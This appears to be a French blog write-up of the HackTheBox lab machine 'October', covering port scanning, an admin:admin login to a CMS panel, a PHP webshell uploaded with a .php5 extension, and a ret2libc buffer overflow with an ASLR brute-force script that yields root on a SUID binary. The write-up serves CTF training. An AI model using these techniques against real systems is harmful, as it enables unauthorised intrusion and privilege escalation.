Aujourd'hui je m'attaque à la machine "October" disponible chez HackTheBox.

Présentation de la machine

October est une machine qui mêle des compétences d'énumération et d'exploitation de buffer overflow.
Auteur: ch4p
Difficulté: Hard

Sans plus attendre commençons ce challenge par une énumération des services disponibles.

Énumération des services

export IP="10.10.10.16"
ports=$(nmap -p- --min-rate=1000 -T4 $IP | grep ^[0-9] | cut -d'/' -f1 | tr '\n' ',' | sed s/,$//)

nmap -p$ports -sV -sC $IP

On a donc 2 services.
Concentrons nous sur le service HTTP.

Un template blog nous acceuil

Accès BackEnd

En effectuant un "directorybusting" on détermine assez facilement qu'il y a un panel admin disponible.

On arrive sur une page de login. Par habitude je teste les mots de passe les plus évidents:
- admin:123456
- root:toor
- admin:admin

Bingo ! un simple admin:admin ouvre l'accès au panel admin.

Assez vite on accède au panel admin du CMS.
Il est assez simple d'uploader un shell si on ajoute l'extension ".php5" à ce dernier

J'ai choisi d'uploader un webshell php, histoire de me simplifier la vie.

Quelques modifications mineures pour rendre le webshell php utilisable
Une fois sur la machine le user.txt est accessible !

Pour simplifier les prochaines commandes je fais spaw un shell TTY via cette commande:

python -c 'import pty; pty.spawn("/bin/bash")'

PrivEsc

Comme souvent, j'ai uploadé un script LinEnum.sh afin de faciliter la reconnaissance sur cette machine.

Pour l'upload rien de bien compliqué, un petit combo "wget - python" suffit.

Coté cible
Coté attaquant

Grace à LinEnum.sh  on découvre la présence d'un binaire un peu particulier. Son nom semble être une indication sur ce qu'il faut faire et ses permissions le confirment.

Oh un beau Root SUID file !
C'est un fichier 32 bits, ça va nous simplifier la vie

L'idée ici c'est d'effectuer un buffer overflow afin de rediriger l'exécution du programme et ouvrir un shell avec les droits root (car SUID).

Les sécurités présentes sur cette machine sont:
- ASRL
- NX bit

L'ASLR est activée

NB: Pour simplifier l'exploitation, j'ai copié le fichier ovrflw sur ma machine.

Checksec.sh nous en apprend un peu plus sur les sécurités du binaire...

L'option NX est activée ce qui signifie que la pile ne sera pas exécutable et que donc on ne va pas pouvoir se contenter d'injecter un shell. Il va falloir utiliser la technique "ROP" afin de contourner cette protection.

La taille du buffer se détermine assez facilement. Soit en utilisant une dichotomie, soit en générant un pattern spécifique.

Par dichotomie on trouve que le buffer fait 112 octets

Le format de notre payload sera donc le suivant:

JUNK*112 + libcAddress + JUNK*8 + binShAddress

En ce qui concerne la protection ASLR, comme l'exécutable est un 32bits, le nombre de possibilités est assez réduit (par rapport à du 64 bits). On va donc compter sur la chance et un léger brute-force pour la contourner.

Afin de construire notre payload il faut:
1) Déterminer l'adresse de la libc
2) Déterminer l'offset du system
3) Déterminer l'adresse de "/bin/sh" dans le binaire

Déterminer l'adresse de la libc

ldd /usr/local/bin/ovrflw |grep libc

Déterminer l'offset du system

readelf -s /lib/i386-linux-gnu/libc.so.6 |grep system

Déterminer l'adresse de "/bin/sh"

strings -t x /lib/i386-linux-gnu/libc.so.6 |grep /bin/sh

Assemblage de la charge utile

Une fois toutes ces informations en notre possession il ne reste plus qu'à écrire un bout de code en python pour pouvoir effectuer notre brute-force contre l'ASLR.

import struct, subprocess

libcBase = 0xb75c8000
systemOffset = 0x00040310
binShOffset = 0x00162bac

libcAddress = struct.pack("<I", libcBase+systemOffset)
exitAddress = struct.pack("<I", 0xd34db33f)
binShAddress = struct.pack("<I", libcBase+binShOffset)

payload = "\x90"*112
payload += libcAddress
payload += exitAddress
payload += binShAddress

i = 0
while True:
  i += 1
  if i%10 == 0:
    print "Attempts: " + str(i)
  subprocess.call(["/usr/local/bin/ovrflw", payload])
Bingo ! Voila le flag root

NB: Le brute-force peut prendre un certain temps.

Résumé

Un petit résumé graphique

Social media stuff

RootMe: www.root-me.org/_AGS
HackTheBox: https://www.hackthebox.eu/home/users/profile/54394
Twitter: @GhostAgs

If you appreciate my work please consider make a donation
Tipeee: https://fr.tipeee.com/ags-syndrome